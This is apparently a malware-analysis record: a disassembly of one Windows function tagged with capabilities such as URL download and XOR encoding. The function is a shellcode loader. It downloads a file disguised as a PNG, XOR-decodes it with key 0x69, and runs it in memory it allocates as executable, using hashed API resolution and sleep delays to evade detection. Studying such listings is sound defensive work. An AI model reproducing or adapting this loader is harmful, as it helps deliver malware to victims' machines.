Function at 0x140003e40
Capabilities:
Download url
Encode data using xor
Get common file path
Receive data

Disassembly:
mov qword [rsp + 0x20], r12
push rbp
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
xor r12d, r12d
mov ecx, 0x1f4
mov dword [rsp + 0x60], r12d
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140003940
test al, al
je 0x140004265
mov qword [rsp + 0x3e0], rbx
mov ecx, 0x1f4
mov qword [rsp + 0x3e8], rsi
mov qword [rsp + 0x3f0], rdi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x68]
lea rcx, [0x14002b3b0]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x68], r12
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rdx, qword [rsp + 0x68]
lea rcx, [rbp + 0x1c0]
mov r8d, 0x104
call fcn.14000c81c
lea r8, [rbp + 0x1c0]
lea rdx, str._s2024.png
lea rcx, [rbp + 0xb0]
call fcn.1400073d0
call fcn.140003b20
lea r8, [rbp + 0xb0]
mov rdx, rax
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r11, [0x14002fe90]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
lea rcx, [rbp + 0x50]
mov qword [rbp - 0x60], r11
mov qword [rbp + 0x50], rax
mov qword [rbp - 0x58], r12
call fcn.140003230
lea r11, [rbp - 0x50]
lea rcx, [rbp + 0x50]
mov qword [rbp + 0x98], r11
mov qword [rbp + 0xa0], r12
call fcn.140006e60
mov byte [rbp + 0xa8], al
cmp qword [rbp + 0x98], r12
jne 0x140003f6e
mov edx, dword [rbp + 0x60]
lea rcx, [rbp + 0x50]
xor r8d, r8d
or edx, 4
call fcn.140003050
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
lea rcx, [rbp - 0x50]
call fcn.140005ff0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x50]
call fcn.140006090
test rax, rax
jne 0x140003fc5
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x50]
lea rcx, [rbp + rcx - 0x60]
or edx, 2
cmp qword [rcx + 0x48], r12
jne 0x140003fbd
or edx, 4
xor r8d, r8d
call fcn.140003050
mov rcx, qword [rbp - 0x60]
movsxd rax, dword [rcx + 4]
test byte [rbp + rax - 0x50], 6
jne 0x140004004
mov rcx, qword [rbp + rax - 0x18]
lea rdx, [rsp + 0x78]
mov r9d, 1
mov rax, qword [rcx]
xor r8d, r8d
mov dword [rsp + 0x20], 1
call qword [rax + 0x50]
mov rcx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x80]
mov rdx, qword [rsp + 0x78]
jmp 0x14000400e
mov rdx, qword [0x14002ba80]
mov rax, r12
movsxd rbx, eax
movsxd rax, dword [rcx + 4]
add rbx, rdx
test byte [rbp + rax - 0x50], 6
jne 0x140004078
movsxd rax, dword [rcx + 4]
lea rdx, [rsp + 0x78]
xor r9d, r9d
mov rcx, qword [rbp + rax - 0x18]
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov rax, qword [rcx]
call qword [rax + 0x50]
movsxd r11, dword [rbp - 0x80]
add r11, qword [rsp + 0x78]
cmp r11, qword [0x14002ba80]
jne 0x140004078
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x50]
lea rcx, [rbp + rcx - 0x60]
or edx, 2
cmp qword [rcx + 0x48], r12
jne 0x140004070
or edx, 4
xor r8d, r8d
call fcn.140003050
mov rcx, rbx
call fcn.1400090e0
lea rcx, [rbp - 0x60]
mov r8, rbx
mov rdx, rax
mov rdi, rax
call fcn.1400043d0
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x1400040db
mov rcx, rdi
call fcn.14000bfc4
lea rcx, [rbp - 0x50]
call fcn.140006180
test rax, rax
jne 0x1400040db
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x50]
lea rcx, [rbp + rcx - 0x60]
or edx, 2
cmp qword [rcx + 0x48], r12
jne 0x1400040d3
or edx, 4
xor r8d, r8d
call fcn.140003050
lea rcx, [rbp - 0x50]
call fcn.140006180
test rax, rax
jne 0x14000410e
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov edx, dword [rbp + rcx - 0x50]
lea rcx, [rbp + rcx - 0x60]
or edx, 2
cmp qword [rcx + 0x48], r12
jne 0x140004106
or edx, 4
xor r8d, r8d
call fcn.140003050
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 0x1f4
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x14044ae
call fcn.1400034d0
mov ecx, eax
call fcn.140007cb0
lea r9, [rbp - 0x70]
lea rdx, [rsp + 0x60]
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x28], 0x40
mov qword [rsp + 0x60], r12
mov qword [rbp - 0x70], rbx
mov dword [rsp + 0x20], 0x1000
call fcn.140007cc1
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movsxd r11, ebx
test ebx, ebx
je 0x14000418b
mov rax, rdi
xor byte [rax], 0x69
inc rax
dec r11
jne 0x140004180
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, ebx
mov rcx, rdi
call fcn.140003db0
mov ecx, 0x1130814d
call fcn.1400034d0
mov ecx, eax
call fcn.140007cb0
mov rdx, qword [rsp + 0x60]
mov r9, rbx
mov r8, rdi
mov rcx, rsi
mov qword [rsp + 0x20], r12
call fcn.140007cc1
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x93ec9d3d
call fcn.1400034d0
mov ecx, eax
call fcn.140007cb0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x70]
mov r9, rsi
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call fcn.140007cc1
mov rcx, qword [rsp + 0x70]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [rbp + 0x50]
call fcn.140004b70
lea r11, vtable.std::ios_base.0
lea rcx, [rbp + 0x50]
mov qword [rbp + 0x50], r11
call fcn.1400084dc
mov rdi, qword [rsp + 0x3f0]
mov rsi, qword [rsp + 0x3e8]
mov rbx, qword [rsp + 0x3e0]
xor eax, eax
mov r12, qword [rsp + 0x3f8]
add rsp, 0x3d0
pop rbp
ret